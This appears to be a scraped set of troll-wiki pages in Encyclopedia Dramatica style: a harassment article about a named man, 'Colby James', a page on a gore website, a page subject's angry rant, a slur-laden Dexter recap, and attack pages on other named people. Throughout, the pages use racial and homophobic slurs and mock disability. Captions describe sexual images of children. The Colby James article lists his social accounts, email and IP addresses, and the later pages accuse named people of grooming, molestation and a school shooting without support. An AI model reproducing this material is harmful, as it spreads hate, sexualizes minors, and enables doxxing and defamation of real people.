File:KappusHitler.jpg
File:EdwardPicklenose.png|The man in the pickle suit strikes again!
File:Sexykappy.png|Colby flipped out [[Irony|because this was posted on a wiki aimed at children]].
File:SouthParkKappus.png|Gay.
File:ChesterLOLWUT.jpg|[[LOLWUT]]
File:KappusTheGhost.jpg|Kappus as a [[ghost]].
File:Morly.jpg|Morly Crasher Roobler
File:MillieSucksBlackCock.png|Millie only [[Blowjob|fellates]] niggers.
</gallery>}}

{{clear}}

== Colby Goes to Pixiv ==

[[File:Kappusandmillie.png|thumb|The full image shows teenage Kappus fucking an 8-year-old girl. Even we have our limits.]]
[[File:KappusMolestsMillie.png|thumb|How does he find people who will actually draw this shit?]]

Following his ban from Paheal, Colby joined the loli-infested Japanese shithole that is Pixiv. After joining Pixiv, Colby began spamming artists with requests for porn featuring his shitty OCs – While most artists were intelligent enough to just ignore the sperglord who was harassing them, a [[Sick fuck|surprisingly talented loli artist]] named '''venge_ace''' actually decided to take some of Colby's requests.

Lulz soon ensued when venge_ace "[[accidentally]]" made an image of Kappus cheating on Millie with Gwen Wu.

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|Shut up, just admit it, I requested really for Nic to be with Gwen, I think the artist who made it got the mistake it isn't correct, no, because Nic dates Gwen, not Kappus, it was a mistake in the making of the image how they where doing it, Kappus dates and never cheats on Millie no he doesn't he stays with her always and always,|Colby James

|What the hell are you on about, Kappus does not date Gwen, incorrect, Kappus dates Millie please change it back to Millie please, don't edit that he is dating Gwen, Nic dates Gwen, it was an error in the picture on Pixiv please stop it,|Colby, raging over a [[Shipping|fictional non-canon couple]]

|Gwen and Kappus seem far more compatible to me, also Gwen is Azn so she instantly gains an additional 100 points over Millie. You should embrace the fact that your fan character has become so popular that people have begun shipping him with canon characters like Gwen and R. Kelly.|Yhwach

|Please change it to Nic, on the fanon site Almighty Yhwach is making fun of Kappus and Gwen please change it please to Nic,|Colby

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{{quote|why would I commission a pro, I never commission because I never nor do credit card, I ask requests, and I have you to help as well.|Colby James{{Jew}}, expecting free porn}}

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{{frame|<gallery perrow="3">
File:KappusMilliePedobear.jpg|Pedobear Platinum.
File:KappusCheatsOnMillie.jpg|Kappus cheats on his girlfriend with another 8-year-old.
File:ColbyEurotrashPaedoArt.jpg|Colby molests human Eurotrash en route to the [[World Trade Center]].
File:Haha62MillieKappus.png
File:MillieBlowingKappus1.png
File:MillieBlowingKappus2.png
</gallery>}}
</center>

{{clear}}

== Thomas the Autism Engine ==

[[File:ThomasRule34.png|thumb|Like most autists, Colby is an unrepentant [[1chan|railfan]].]]

Little is known about the events that transpired on the now-dead Thomas The Tank Engine Community Wiki, but we do know that Colby got totally [[Butthurt|buttmad]] over it. From what we can piece together, Colby [[harass]]ed and insulted the wiki's actual contributors and then someone named '''Boygenius98''' discovered Colby's hideous porn art and began rightfully mocking him over it.

Colby then went on [[DeviantART]] and began whining about how he was being trolled – which led to one of the TTTE community members calling Colby out for being both a [[Izzy Galvez|harasser and a hypocritical piece of shit]].

{{quote|"Kind hearted man" my ass. You made a page about me, literally telling lies about me. You say it wasn't a personal attack, but it was. You name drop so fucking much man, all of the people don't even fucking know you! You think that all the people you listed on that wiki are "your friends". If your actually friends with WNW, then he would tell you to shut the fuck up about Tornado. No one on that wiki will never be "your friend" as they have never heard about you. Do this one more fucking time, and I will fuck you up. PS: No one was working with Skarloey Rheneas (now known as SkarloeyFanatic808) to mess up the wiki page about you. (Which lets be honest, you were sucking your own cock dry)|Nerfherder219, calling out Colby's bullshit}}

== Quotes ==

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|Now I people will tell you about my life,

I never had a girlfriend,

I never got educated,

I never got a job,

I stalked two girls,

I can't interact with any girl,|Colby James

|He's been saying my character is with someone else he does not have permission to edit someones character without authorisation and I would like you to block Specialstar please, he's been violating the wikia,|Colby, believing that edits to the Millie Millerson article are a violation of his copyright

|I am sorry Almighty Yhwach but you forced me to contact staff, they're going to be dealing with you very soon, I have contacted them and they will be calling the police of all your evidence I have sown them what you have done to our site and they will be calling the police and be dealing with your crimes, I am sorry but you forced me to do this, ColbyJames79681@gmail.com|Colby James, [[reportfag]]ging

|He has been vandalizing works by uploading rude images he's done vandalism to the wikia by trolling and ruining my wikia, I want The Almighty Yhwach deleted and tracked down to prison, this has happened last year and I need The Almighty Yhwach arrested for his crimes of cyber bulling a childrens place not for porn, he has violated rules on this wikia by breaking them ruining a good childrens site,|Colby, demanding that Yhwach be arrested for trolling

|No Pork Sausages. No-Pork-Sausages! NO PORK SAUSAGEZ! AHHHAAHAAHAAHAAHAAHAA! HAAAHAAHAAHAAHAAA! COME-HEAR-RAILBOY! I'M GOING TO MAKE YOURL-NEW-DOOMHOLE! HAAHAAHAAHAAAHHHHHH! AHHHAHAHHHAHHHAHAHHH! DIE!|Kappus Dario, being [[batshit insane]]

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== Videos ==

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|{{frame|{{videoframe|ColbyVideos|background-color: #f9f9f9; text-align: center; font-weight: bold;|font-weight: bold;
|<youtube>eG1DNceDZuA</youtube> Colby mourns the death of a YouTube Poop channel.
|<youtube>71XAf-6_ypI</youtube> What a future serial killer looks like.
|<youtube>ULqV3BUhJ3w</youtube> What the actual fuck is this?
|<youtube>c6Iq4isL_Js</youtube> FUCKING CUNT
}}|border=#f9f9f9|background=#f9f9f9}}
|}

== See Also ==

[[File:ColbySnap.png|thumb|Durr.]]

* [[My Immortal]] - Because you deserve to read something better than Colby James' tl;dr self-insert OC bullshit.
* [[Cringe]] - Your likely reaction to Colby James.
* [[Drawn sex]]
* [[KodyBoy555]]
* [[Chris-Chan]]
* [[A-Log]]
* [[Leonard F. Shaner Jr.]]
* [[Virgin]]
* [[Lolicon]]
* [[YouTube Poop]]
* [[Phineas and Ferb]]
* [[YouTube Thomas Club]]
* [[Zone]] - Helped ensure the demise of The Modifyers by turning it into porn.
* [[My Little Pony]] - Another show for preteen girls that was stolen by [[Wizardchan|wizards]].
* [[tl;dr]] - Everything that he writes.

== External Links ==

[[File:Bessie.png|thumb|"''You need to [[GTFO]] the internet.''" - Bessie H.]]

'''Social Media'''

* [https://www.facebook.com/colby.james.754 Colby James on Facebook]
** [https://www.facebook.com/stacey.hoolahan Stacey Hoolahan's Facebook] - She isn't even friends with him.
** [https://www.facebook.com/weaver.nic Nicholas Weaver's Facebook]
* [https://twitter.com/ColbyJ43 ColbyJ43 on Twatter]
* [https://trooper201.tumblr.com/ Trooper201 on Tumblr] - It's filled with hentai.

'''Artfaggotry'''

* [http://www.pixiv.net/member.php?id=14259658 His Pixiv] - Where he currently posts his abominations.
* [http://colbyjames2902.deviantart.com Colby's DevianTART]
* [https://inkbunny.net/ColbyJ43 ColbyJ43 on Inkbunny]
* [http://www.hentai-foundry.com/user/Trooper201/profile Trooper201 on Hentai Foundry] - His occupation listed as "''[[lulz|hentai porn artist]]''"
* [http://rule34.paheal.net/post/view/1574339 Kappus fanart on Paheal]
* [http://xbooru.com/index.php?page=post&s=list&tags=kappus_michael_dee_snider_lovell_dario A gallery of nightmares on Xbooru]

'''Wikis'''

* [http://themightyb.wikia.com The Mighty B Wiki] - Where it all began.
** [http://themightyb.wikia.com/wiki/User:Colby_James His TMBW user page]
** [http://themightyb.wikia.com/wiki/Special:Contributions/203.109.171.211 Edits as 203.109.171.211]
** [http://themightyb.wikia.com/wiki/Special:Contributions/115.188.1.45 Edits as 115.188.1.45]
** [http://themightyb.wikia.com/wiki/Special:Contributions/140.200.7.82 Edits as 140.200.7.82]

* [http://mightybfanon.wikia.com Mighty B Fanon Wiki]
* [http://alphaindia.wikia.com/wiki/Alpha_India_Wikia Alpha India Wiki]

'''Other Bullshit'''

* [http://web.archive.org/web/20130502131303/http://www.tv.com/shows/the-mighty-b/forums/possible-new-mighty-b-episodes-88119-3325868/ TV.com users discover Colby James]
* [mailto:ColbyJames79681@gmail.com ColbyJames79681@gmail.com] - His email that he's [[Retarded|posted publically]].
* [https://en.wikipedia.org/wiki/Special:Contributions/Trooper201 His TOW vandalism]
* {{archive|2ptSk|TheAlmightyYhwach's talk page}}
* {{archive|l9mys|TheAlmightyYhwach's talk page before it was cleaned}}
* {{archive|OQC4U|Colby whines about yet another person finding his shitty lolicon art.}}
* '''[http://www.animenewsnetwork.com/news/2013-05-17/tourist-jailed-in-new-zealand-for-child-abuse-manga-images LOLICON IS ILLEGAL IN NEW ZEALAND!!111]'''

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{{:Colby James/Nav}}
{{timeline|Featured article October 23 & 24, [[2016]]|[[Lifting Blogs]]|{{PAGENAME}}|[[Nicky Reilly]]}}

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Watchpeopledie.tv

2024-07-28T09:42:16Z

YaroslavTV +1: Undo revision 1873323 by YaroslavTV (talk)

[[File:Wpd.tv logo.jpg]]

watchpeopledie.tv(wpd.tv for short) is a faggity gore site with over a million members where [[basement dweller|basement dwelling weirdos]] and edgy losers who worship mega sneezers do exactly what the name of the website would suggest. It was created as a sister website to Rdrama after the subplebbit r/watchpeopledie got banned in the wake of a [[Brenton Tarrant|CGI animation]] from [[New Zealand|New Zealand]] getting realeased in march of 2019. Unlike [[Reddit|plebbit]], wpd has a lot of interesting features, just like plebbit, ✡censorship✡ runs rampant and users of wpd genuinely believe that downvoting someone and taking their fake internet points away will somehow teach that person a lesson. The mascot of the website is a Cat called Marsey.

== Introduction ==
Watchpeopledie.tv was created on April 25th, 2022. It started out with a bunch of unique videos getting posted. It is hosted by cloud fare, which is very unfortunate, because cloudfare does this very retarded annoying thing here it constantly asks if you are a human or not. Fucking cloudfare. It existed on plebbit as r/watchpeopledie until the judeojannies banned it when it started posting [[Brenton Tarrant|CGI animations]] that were too spicy, which ironically is what another gore subplebbit, r/gunfights, would get banned for years later, in the wake of yet another one of Sorathas spicy [[Payton Gendron|CGI animations]], this time from Buffalo, Jew Dork. The way the site works is that you can post comments and videos, and for every like or dislike you get, you get 4 coins, which can be used to buy retarded little hats, dumb rewards to attempt to annoy people with, or you could just gamble them away like a [[Las Vegas|Las Vegas]] dead beat. When you post, you have to categorize your videos accordingly, these categories are called holes. There is h/stabbing, h/shooting, h/drowning, h/social, and many more. The site is ran by a group of admins, the chiefest among them is CLITPEELER, who you do not wish to mess with.

== Issues ==
The website is very user unfriendly, when you click on a post, a bunch flying gif pixels and ugly niggers will be flying around because some joker put an award on the post to make it do that. Other users can buy awards that ban you for a day. Users will block you even though you never contacted them, comments and usernames will have large and annoying looking moving emojis attached to them, and the list of plebbit like faggotry goes on and on. There is also an annoying bot that comments randomly generated crap in every thread. Of course, most of that is pretty funny, so let's move on to actual issues with this website, so I do not sound like a kvetching jew.
The website is full of reposts and dumb edits. Wow! What a cool video! It is a shame that I have already seen it 6 million times before! At first, there were no reposts at all, but now there is an infestation. Those edits of CGI animations are just an excuse to make reposts.
The website is also full of losers who worship school sneezers, although, to be fair, most users condem such things.
A lot of videos on wpd are just plain boring. Not just because most of them are reposts, but also because most of them feel the same. There is only so much mileage that one can get from watching dozens of "different" videos that always follow the same format. "Oh, cool, another low quality video of some tied up beaner lying on the ground while he gets blasted by a nerf gun wielding aztec! Havent seen that one before!" " Woah! Another video of a spic in brazil getting ambushed that has no distinction between the hundreds of other videos on here that are exactly like it! Awsome!"
After a while, execution videos like that get boring because there is no variety or struggle or ambiguity to them. You know exactly how each one will end. They are about as mindless as those capeshit movies were good guy beats bad guy that consoomer cucks fall head o er feels for.
There are also a lot of idiots who do self harm over there, which brings down the overall quality of the website down by about 10 [[Ronnie McNutt|Mcnutty]] points.

== Controversy ==
For many reasons, wpd.tv is very controversial, and it is especially hated by plebbitors and [[TikTok|shit tok]] users. Besides gore, there are other reasons for that. You see, just like [[Newgrounds|Newgrounds]], one of wpds users would commit a mass sneezing, and just like [[Newgrounds|jewgrounds]], another one would attempt to go for the [[High Score|high score]], only to get [[Fail|captured before he could do it.]] This has led to wpd to rise to top tier infamy, much farther then one would expect from a website that started out as a sister website to Rdrama. Another reason they have become controversial is because pearl clutchers on jewtube and shit tok have made numerous videos kvetching about wpd for typical oversensitive female/boomer reasons.

== Quotes ==

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{{frame|{{morphquote|mqtest3|background-color:#ffffff; width: 700px; height: 210px;|font-weight: bold;
|Cloudfare is being naughty

|CLITPEELER

|*Insert random copy pasta here*

|Snappy

|border=#ffffff|background=#ffffff}}}}
</center>

== Gallery ==

<center><gallery>
File:DragonkinVSPlebbitorHoard.jpeg|Troll vs Horde.
File:Wpd.tv.jpg|front page.
File:Marsey The Cat.jpg|The Mascot.
</gallery></center>

== Videos ==

== See Also ==
*[[BestGore|BestGore]] - Another infamous gore website
*[[LiveLeak|LiveLeak]] - yet another one.
*[[Ogrish.com]] - [[Redundant|Yet ANOTHER gore site.]]
*[[Goregrish]]
*[[Rotten.com]]

== External Links ==
https://watchpeopledie.tv/

Nate Spidgewood

2024-07-28T09:41:46Z

YaroslavTV +1: Replaced content with "'''''STOOOOOOOOOOOOOOOOOOOOOOOOOOPPPPPPPPPPPPPPPP!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ALL OF YOOOOOOOOOOOOOOOOOOUUUUUUUUUUUUUUU!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Dx''''' SERIOUSLY!!!!!!!!!!!!!!!!! GET RID OF THIS FUCKING PAGE AND THAT KIWI FARMS THREAD ALREADY!!!!!!!!!!!!!!!!!!!!!!! I didn't join TV Tropes because Wikipedia suspended my account, I joined because I was so friggin' offended by the negative comments directed towards a bankrupt movie studio that I'm '''''BORED..."

'''''STOOOOOOOOOOOOOOOOOOOOOOOOOOPPPPPPPPPPPPPPPP!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ALL OF YOOOOOOOOOOOOOOOOOOUUUUUUUUUUUUUUU!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Dx'''''

SERIOUSLY!!!!!!!!!!!!!!!!! GET RID OF THIS FUCKING PAGE AND THAT KIWI FARMS THREAD ALREADY!!!!!!!!!!!!!!!!!!!!!!! I didn't join TV Tropes because Wikipedia suspended my account, I joined because I was so friggin' offended by the negative comments directed towards a bankrupt movie studio that I'm '''''BORED'''''!!!!!!!!!!!!!!!!!!!!!!!!!!! And the truth is, Wikipedia only suspended my editing privileges just '''TWO FUCKING MONTHS''' after I joined TV Tropes!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Also, I didn't quit TV Tropes '''ENTIRELY'''!!!!!!!!!!!!!!!!!!!! I left my '''''FIRST''''' account to make ANOTHER one to keep editing because the fucking namespace-loving admins suspended my account and '''TOLD''' me to wait until '''''JULY FUCKING 2ND''''' to be unsuspended even though I'm '''TRYING''' to fucking '''EXPAND''' the website with more stuff that none of the tropers '''EVER''' talked about!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! '''BUT''' when I made a third account on August to apologize to the mods for complaining about their namespace spam shit that's taking over TV Tropes, [http://oi61.tinypic.com/9s5tl0.jpg they fucking told me not to come back '''FOREVER''' and to "Go somewhere else and leave us alone"], which PISSES ME OFF!!!!!!!!!!!!!!!!!!!!!!!!!!!! Seriously, they friggin' '''BETRAYED''' a once-lonely troper like '''ME'''!!!!!!!!!!!!!!!!!!!!!!!!! So I started '''FLAMING''' them for it!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

You BETTER remove this page AND that Kiwi Farms thread about me!!!!!!!!!!!!!!!!!!!!!!! It's creating a series of LIES!!!!!!!!!!!!!!!!!!!! Plus, my attempt to hire a hacker WAs to CHANGE TV Tropes back to the way it was for the '''FUCK''' of it by removing all the new shitty ass "policies", NOT take the website down 100%!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! The WORST thing about this fucking article is that someone I initially watched on deviantART (who goes by the name of EnhancedStar) is FLAMING me and BOYCOTTING my artwork, AND EVERY SINGLE TROLL ON DEVIANTART IS FLAMING ME BY LYING ABOUT MY IDENTITY AND AGE, FLOODING MY PROFILE WITH HATE AND NEGATIVE COMMENTS, POSTING A JOURNAL ABOUT ME, THREATENING TO GET MY ACCOUNT BANNED, ACCUSING ME OF HURTING ONE PERSON WHO CALLED ME A "TROLL", AND ALMOST HACKED INTO MY DEVIANTART ACCOUNT, because they fucking LEARNED from the troll article '''YOU ASSWIPES''' wrote about '''ME'''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! AND '''''THEN''''' YEARS AGO, THEY GOT MY DEVIANTART ACCOUNT BANNED, AND IT'S ALL '''''YOUR''''' FAULT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! SO, I'M DEAD FUCKING SERIOUS, GUYS, JUST TAKE THIS FUCKING PAGE '''''AND''''' THAT KIWI FARMS THREAD DOWN '''RIGHT FUCKING NOW''' AND MAKE ALL THIS LYING BULLSHIT '''''STOP''''' ALREADY, OR ELSE I'LL FRIGGIN' '''''SUE''''' YOU ALL!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >:(

Dexter

2024-07-28T09:41:18Z

YaroslavTV +1: Undo revision 1876273 by YaroslavTV (talk)

{{spoiler|Before Dexter is killed by his own son, his brother is the ice truck killer and Dexter [[pwns]] him. Doakes (bay harbour butcher) and Rita (killed by trinity killer) and Debra and Vogal (killed by brain surgeon) and Lay "best blows" Guerta all fucking die an excruciatingly painful death.
'''Deb finds her urges to [[incest|fuck Dex]] and instead finds out Dex's urges to [[sociopath|kill people]]. Deb kills LaGuerta to save Dex's truth and gets PTSD! Happy New Year! He fakes his death because his [[over 9000|9001th]] girlfriend (Hannah McGay) and son are apparently bound to die because of him.. – becoming a [[shit no one cares about|lumberjack]]. How [[house|original]]. 10 years later his son finds him after mother Hannah dies of cancer for some reason, Dexter then finds his son somehow also has killing urges, and then Dexter gets caught. THE END!!1112'''}}
[[File:Sorry wrong person Dexter.jpg|right|300px]]
[[Image:Dex lab.jpg|thumb|No, not that Dexter]]

'''''Dexter''''' is a TV series (based from book) about a moral [[serial-killer]]/[[sick fuck]] in [[Miami]] named ''Dexter Morgan'', or by friends just ''Dex''. By day he's a forensic [[blood]]-[[squirting|spatter]] analyst who works for the [[pigs|cops]] of Florida. But, much like every [[superhero]] he stalks/vets out and catches criminals, except he ends with [[murder|slaughter]]ing them; by [[aspergers syndrome|aspie]] monologue and thrusting deep into their organs with his long hard blade and inner [[black cock|big black passenger]].

[[File:TV series inspirations.png|thumb|Dexter has inspired many]]

His mother got [[pwnt]] into pieces with a chainsaw in front both him and his older brother Brian, left in a literal pool of blood for days. Causing them to be traumatized for life. However, a [[stereotypical]] policeman, Harry, had guilt's [[trolls remorse|sympathy]] because it was his fault Dexter's mom was murdered, so he adopted him, but left Brian because he was already fucked. And eventually to Harry's dismay Dexter was also one sick fuck!! After Harry commits [[suicide]], Dexter is downcast for approximately 9 seconds. because his reject sister is alive and he has a girlfriend that makes him [[sammich]] and has little children to distract him with and has Long story short, he kills criminals [[For the lulz|because he can]].

==Season storylines==
===Season 1===
[[File:Julie_Benz.jpg|thumb|150px|Dexter's hot girlfriend. [[homosexual|Don't like?]]]]

It all starts with Dexter killing people and trying to find this other serial killer is also a pretty cool guy, talks with fellow [[cops]] (who are mostly [[spics]] because it's Miami.) gets accused of beign a [[sick fuck]] by a [[nigger]] cop, monologues and kills random ass criminals for 20 episodes while trying to fight his homosexuality enough to fuck his girlfriend and [[rape|play with]] her kids.
It turns out his brother is actually the other serial killer and offers Dexter to join him and be killers but Dexter says no and [[pwns]] him, which makes no fucking sense.

===Season 2===
[[File:Lilah-west 480x640.jpg|thumb|[[A challenger appears]].]]

Secret's out and lots of dead bodies are found. A [[party van|FBI]] agent is called in and wants to hit Dexter's sister; Dexter wants the same. This makes our hero very jealous. His girlfriend thinks he's chasing the dragon so she sends him to rehab. In rehab he meets a woman who has da hots for him, but instead of getting it on with her he dumps her, making her stalk him. A black cop finds out Dexter is the bad guy, and tries to stop him, because Dexter realizes he is a sick fuck, he agrees, but the cop is later killed by the crazy stalker ex, who is then killed by Dexter. The black cop gets blamed for the crime, but that's ok since he was a goddamn lazy nigger anyway. Also, the FBI agent, after [[fuck|tapping]] the sister's sweet ass ([[Awesome|who was less than half his age]]), kicks it out into the street.

===Season 3===

Lots of filler, the highlight of the season is when Dexter gets a [[mexican|spic]] sidekick and tries to teach him things, but then the spic starts acting [[retarded]] and so Dexter decides to kill his ass, but the spic tries to kill him back, but then he [[fails]] and is killed like he should have been the moment he illegally entered the country.

===Season 4===
[[File:Oh! The darkness you can dream by DrFaustusAU.png|285px|right]]

Even more filler, also Dexter's baby is demented, and the guy he kills at the end killed his wife, [[lulz]]. The FBI guy returns to tap Deb's ass once more, only to get [[pwned]] in the second episode. [[Nobody cares|The two main spics get married to each other]]. Basically, the main message of this season '[[O rly?|Serial killers shouldn't have children]]'.

===Season 5===
It all gets interesting when a group of men [[rape|raep]] loads of womens, and some [[sick fuck]]s at the FBI watch videos of them being tortured and raped. Dexter also begins to fuck one of the victims, while getting pissed off at some bible bashing babysitter. This series concludes with his sister almost finding him out while not opening up the curtains, because [[anonymous]] used [[hack]] sheets to counter her bitch cop instincts. Oh yeah, and the rape victim bitch leaves Dexter at the end, rendering the whole season completely fucking pointless with the ending scene making him transformed into a smiling assassin.
[[File:LumenReturnsToHerPlanet.gif|center|Lumen returns to her planet.]]

===Season 6===
Some [[christfag]] decides to [[Batshit_insane|recreate doom's day and kills many pplz]] with his professor [[Time_paradox|WHO'S BEEN DEAD BEFORE THE WHOLE SHIT'S EVEN BEGUN]] but gets [[pwnt]]. Meanwhile Dexter meets some [[nigger]] who [[Duh|dies after some episodes]], his sister goes [[emo]].
At the very end his sister finally decides to care and she finds out who [[Sick_fuck|he really is]]. A gimmick for the [[Retards|fans]] to [[Shit_brix|shit their pants]] waiting the next [[Shit|excellent]] season.

===Season 7===
[[File:Got My Eyes On You.gif|thumb|Got mah eyes on you...]]
In an attempt to render Season 6 almost as pointless as Season 5, both the new PD nigger and the [[Otaku|creepy]], [[Computer Science III|Techno-Wizard]] [[newfag]] is unceremoniously killed off by some [[gangster|mobster]] [[ruskie]]s (okay, "[[Shit nobody cares about|The Ukrainian Mafia]]", [[no one|but who the fuck can tell the difference]]?), who's leader, a [[britfag]] [[Trying too hard|giving his best attempt]] at a Russian accent, will apparently be the ineffectual villain of this season. Meanwhile Debra makes a half-hearted attempt to dissuade Dexter from his serial-killing ways, that lasts the whole of one-and-a-half episode. Expect the writers to ramp up the juicy [[incest]] angle and milk it for all it is worth. It also makes her [[cum|wet]] when Dexter tells her he killed [[Cunt|Spetzler]], plus for extra [[lulz]], when he yells [[Fuck]] to troll Spetzler while acting totally [[batshit insane]]. Stay tuned for next week's episode when he crosses with [[britfag]] the terminator and [[bitch|LaGuerta]] as she begins to give a shit about Dexter's habit and we hope she gets shot to death by Debra in the series finale.

Don't forget more [[incest]], it'll keep the [[rednecks]] pleased. Previously, [[England|Issac]] goes apeshit and kills everyone in a bar because he was being [[trolled]] by [[pretty_cool_guy|Dexter]], and ends up in [[prison]], meanwhile him and fugly [[sister]] share a room, but she wasn't totally [[asking for it]] yet. And it was too predictable enough for Debra to burn away the evidence enough for Dexter to keep up his [[sick_fuck|sick fuckery]]. Which would piss off [[bitch|LaGuerta]] because [[nigger|Doakes]] isn't alive to surprise [[motherfuckers]].

Once again, Dexter fucks another blonde named Hannah aka Sarah who properly never regained her memory and become a psycho killer, and because Dexter wants to [[rape]] hot women on the table, which will properly make her [[dead|an hero]] by the end of the season. Nice job. Issac, the fake accent russian mafia boss does nothing of [[Unwarranted Self-Importance]] by killing Colombians for [[lulz]]. Also Debra dates a [[300|Spartan]], some guy who wants to rape Hannah as well, it's pretty much a raping season from here on out. [[lol]] Debra's boytoy for a couple of episodes gets [[pwn|fucked]] by Hannah McKay with poison ivy or some shit, because she properly wants a [[threesome]] with [[Incest|Deb and Dexter]] and was [[jealous]]. Hannah's dad comes by to visit, dies in one episode, because fuck no, Dexter has to ruin his shit and dump him in the ocean. Because he can. The Dark Passenger is fucked, so Dexter can kill everything in his path without consequences, cause [[John Locke]] will join him on his crusade. LaBitch is still on Dexter's ass, hopefully enough for Debra to rape her [[spic]][[nigger]] shitter off the finale. Everything went according to plan, because it scares us terribly we knew this would happen, after the first episode when LaBitch went on a search to clear Doakes' name with the help of a [[oldfag]] (who hilariously insults her every conversation), so Dexter and Deb walk aimlessly though the new year to make us cream for the next season. SURPRISE MOTHERFUCKER, Doakes comes back to show us things we already knew that he was onto Dexter. :| Sadly, Dex and Deb didn't fuck.

<center><youtube>4mWRkg4C6ek</youtube> '''[[Batshit_Insane|Lulzy Scene From Season 7]]'''</center>

===Season 8===

The season starts off with Dexter free from killing [[bitch|LaGuerta]], but his sister turned into a [[sick fuck]] and doesn't want to talk him or have [[incest]]. Some guy grabs her ass, which makes Dexter jealous and wasn't alpha male enough. And confronts her slutty ass that he wasn't on top six months earlier. Then we meet some [[oldfag]] named Vogel who doesn't want to be [[raped]] by some invisible surgeon, that reveals she helped Harry create the code to see where the sick fuckery started. Though it's horribly pointless. Then Dexter and Deb go in a "you're lost, no you're lost" [[the game]]. So immature. When Dexter wanted to kill some Mexican faggot, Deb got in the way and shot the fucker dead to show she wants to be like Dexter. To skip through all this shit, [[Swearing|Debra]] [[trolls]] Dexter into driving with him, but they end up [[I_see_what_you_did_there|"swimming deep"]]. The rest of the season is actually them being dead in Purgatory. I'm not kidding. And oh Hannah kidnaps little boys to show how serious she is and heads off to some city you'll never visit. And molests him, the end. But of course, Dexter kills Debra in the end by drowning her carcass into the sea. [[TL;DR]], Dexter ends up living [[forever_alone]], so he can survive do more sick fuckery in the next season that ruins the show even more. To repeat what you thought was a better finale to this shit.

===Season 9 "New Blood"===

Dexter comes back to our screens in a reboot, [[at least 100]] years later, for more emo bloody shit, since he's guilt ridden after pwning his sister. More sick fuckery ensures when new serial killer [[KFC|Clancy Brown]](Yeah, the main villan is a Colonel Sanders lookalike) as goes head to head as the new villian of sick fuckery, because it wasn't enough for Dexter to do what he does, to cause some more [[lulz]]. Except, his dumb ass son comes back to troll him because Hannah, his hot piece of ass step mother who got pwned by [[cancer]] told him to go find his sick fuck father in [[Oregon]] so they can do more sick fuck stuff together, seeing as he's so fucked up like his father. Nonetheless, [[tl;dr]], Dexter and his son flee from the [[police]], after Dexter killed a [[nigger]] that no one gives a shit about when being caught by his bitch girlfriend, Angela. Being the dumbass, Dexter asks his son to pwn him. Harrison is given money by the only bitch cop that doesn't know shit about Harrison also being a [[sick_fuck]] to start a new life to continue Dexter's sick fuckery, rendering the entire series, pointless. And yeah, they're making a spinoff about the little shit, can't wait to [[tl;dr]] this article.

==Memorable quotes==

{{quote|Surprise, Motherfucker!|Doakes (Season 1, Episode 12)}}

{{quote|UhhhhhuhuhhuhhhuhhhhhaaaaaAAHAHAHAHAAAAHHHHHH! HUAHHHHUH!|Dexter (Season 4, Episode 1) [[Retard|Srsly]].}}

{{quote|You Get What You Fucking Deserve.|Dexter (Season 6, Episode 9)}}

===Shitty Fresh Prince Rewrite===
[[File:Dexter killed you.JPG|thumb]]
'''''Humble Beginnings'''''

Now this is the story all about how 
My life got flipped, turned upside down 
An' I'd like to take a minute just sit right there< 
I'll tell you how I became The Bay Harbor Butcher 

[[Casey Anthony|Sanford, Florida born and raised]] 
Killing animals's how I spent most my days 
Chilling out maxing relaxing killing a duck 
Till my dad Harry noticed that i was a sick fuck 
And started teaching me this code of rules 
I killed one little crook and my dad got scared 
And said "oh lawds ima have a big heart attack" 

I whistled for a cab and when it came near 
The license plate said blood and had a knife in the mirror 
If anything, I thought that this cab was [[Awesome|kool]] 
So fuck it, I said, take me to a medical school 

After learning how to cut I realised that 
I should be a cop instead of a [[Doctor|white hat]] 
Looked at my life and realised I was there 
To kill every fucker until [[noone]] was left 

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==Videos==

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<youtube>WM5_pac-4Is</youtube>''Dexter in 60 Seconds''
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<youtube>5vzizY_JLrk</youtube>''Dexter and Brian [[Masturbating]] With [[Swearing|Deb]]''}}

==See also==
{{Killers}}
*[[Brokeback Mountain]]
*[[Law & Order]]
*[[Sociopath]]
*[[Murder]]
*[[Pretty cool guy]]
*[[Wincest]]
{{MinistryofLOL}}
{{Psychology}}
{{Television}}

Golpatort

2024-07-28T09:40:37Z

YaroslavTV +1:

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'''Project Golpatort''' formally Pedophiliac Gay Turtle is a random retarded “animator” presumably from Moldova with severe schizophrenia who wastes his time making unoriginal and uncreative animation memes on YouTube that try to fit the early 2000’s aesthetic for “muh fuckin’ nostalgia nyan cat n waffles xdd!!1! so random!!!” instead of actually making friends OR touching real grown women instead of 6 year olds who watch his useless homogay videos. Judging by his autistic nigger obsession with O-Zone (The Numa Numa/Dragostea Din Tei band), he likely prays religiously to Dan Balan hoping to give him backshots and rape him daily. (He even goes by the name arsenie, another band member. How unoriginal!) The only social interaction he has is when he leaves his parents basement and goes outside to touch kids. Actually I lied, he is too obese to leave his house. One time he tried to hang himself with a tapeworm from India but he ended up eating it because he’s a fatass.

Oh, and he grooms kids on YouTube btw, which shouldn’t surprise you.
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Ded channel LUL.

Since nobody has heard of this retard, here are some life saving facts in case you encounter him:
• He supposedly works at a KFC where he serves greasy shit to gypsies.

• His favorite food is piss and shit which he eats up daily.

• He is most notorious for shooting up his school after he got called gay by a 12 year old. He dropped out and became the notorious fag he is today.

• He has autism and AIDS from molesting monkeys in his free time.

• He is incredibly mentally ill and has about the same IQ as a malignant tumor.

Husker the Wolf

2024-07-28T09:37:51Z

YaroslavTV +1:

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{{Pedo}}
[[Image:MrCoolBlueIRL.png|thumb|Meet the conductor of the [[rape]] train.]]
